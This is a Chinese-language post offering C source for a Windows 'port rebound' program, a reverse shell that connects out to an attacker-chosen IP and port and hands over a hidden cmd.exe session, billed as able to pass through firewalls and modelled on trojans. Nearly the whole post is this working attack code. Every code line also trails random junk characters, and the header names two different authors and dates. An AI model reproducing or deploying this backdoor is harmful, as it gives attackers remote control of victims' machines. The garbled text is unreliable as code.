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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |'8Nh  
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/* ============================== +nhLIO{{L  
Rebound port in Windows NT Mj?`j_X  
By wind,2006/7 4qbBc1,7y  
===============================*/ /P3 <"?#k  
#include k&q;JyUi  
#include :WS@=sZN  
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#pragma comment(lib,"wsock32.lib") =/+-<px  
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void OutputShell(); gHEu/8E  
SOCKET sClient; x0D*U?A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sPQQ"|wU  
[{,T.;'<j  
void main(int argc,char **argv) f#"J]p  
{ T|op$ s|  
WSADATA stWsaData; n)e 6>R ;  
int nRet; vHc%z$-d  
SOCKADDR_IN stSaiClient,stSaiServer; !r8 `Yrn  
YQ)kRhFA  
if(argc != 3) AW'0,b`v  
{ 7~% ?#  
printf("Useage:\n\rRebound DestIP DestPort\n"); J T7nG.9  
return; rjAn@!|:+  
} T#Z^s~7&I  
A_ZY=jP   
WSAStartup(MAKEWORD(2,2),&stWsaData);  6f>{"'  
9Cp-qA%t  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )5JFfp)#  
|?xN\O^#}  
stSaiClient.sin_family = AF_INET; t%FwXaO#  
stSaiClient.sin_port = htons(0); G]tn i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]t,BMu=%  
^Za-`8#`L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @6sqMw}  
{ |\t-g" ~sN  
printf("Bind Socket Failed!\n"); KYhwOGN  
return; [`[|l  
} ~2N"#b&J  
J#(LlCs?@c  
stSaiServer.sin_family = AF_INET; j#x6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RFcv^Xf  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fk>aqm7D!  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ) 7@ `ut  
{ +oML&g-g_  
printf("Connect Error!"); gp?uHKsM  
return; @)M9IOR  
} D|p9qe5%  
OutputShell(); 9};8?mucr  
} yu|8_<bq  
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void OutputShell() Y%^w:|f^  
{ 5yo%$i8I  
char szBuff[1024]; k FD; i  
SECURITY_ATTRIBUTES stSecurityAttributes; )[IC?U:5I  
OSVERSIONINFO stOsversionInfo; 'ya{9EdlT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H;LViP2K*  
STARTUPINFO stStartupInfo; =zPCrEk0  
char *szShell; 7"x;~X  
PROCESS_INFORMATION stProcessInformation; S Lj!v&'  
unsigned long lBytesRead; iB yf{I>+  
pRpBhm;iJ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m,w A:o$'  
hEH?[>9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rfg'G&A(  
stSecurityAttributes.lpSecurityDescriptor = 0;  `25yE/  
stSecurityAttributes.bInheritHandle = TRUE; 69NeQ$](  
w3_>VIZJl  
}C?'BRX  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2\{M:\2o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7U"g3 a)=  
itP,\k7>d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _8J.fT$${  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sb*G!8j  
stStartupInfo.wShowWindow = SW_HIDE; !;{7-~  
stStartupInfo.hStdInput = hReadPipe; ]p GL`ge5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q`7PhA  
LL|r A:  
GetVersionEx(&stOsversionInfo); ie95rZp  
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switch(stOsversionInfo.dwPlatformId) & h)yro  
{ SHgN~ Um  
case 1: 4l'fCZhA}  
szShell = "command.com"; ZvX*t)VjTz  
break; ]Q1yNtN  
default: _6hQ %hv8  
szShell = "cmd.exe"; F~W6Bp^W  
break; ueWEc^_>  
} 3(N$nsi  
NwvC[4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,/2Vt/lt  
xm~`7~nFR  
send(sClient,szMsg,77,0); An0|[uWH  
while(1) \?-<4Bc@  
{ 4k1xy##  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J!(<y(l  
if(lBytesRead) G>}255qY  
{ gZXi]m&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AV]2 euyn  
send(sClient,szBuff,lBytesRead,0); my1@41 H  
} J yK3{wYS  
else 3;9^  
{ cqkV9f8Ro  
lBytesRead=recv(sClient,szBuff,1024,0); V2EUW!gn 2  
if(lBytesRead<=0) break; !9e=_mY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~G&dqw/.-U  
} `/+>a8  
} %aCqi(.7  
^z*t%<@[Q  
return; EME|k{W  
}
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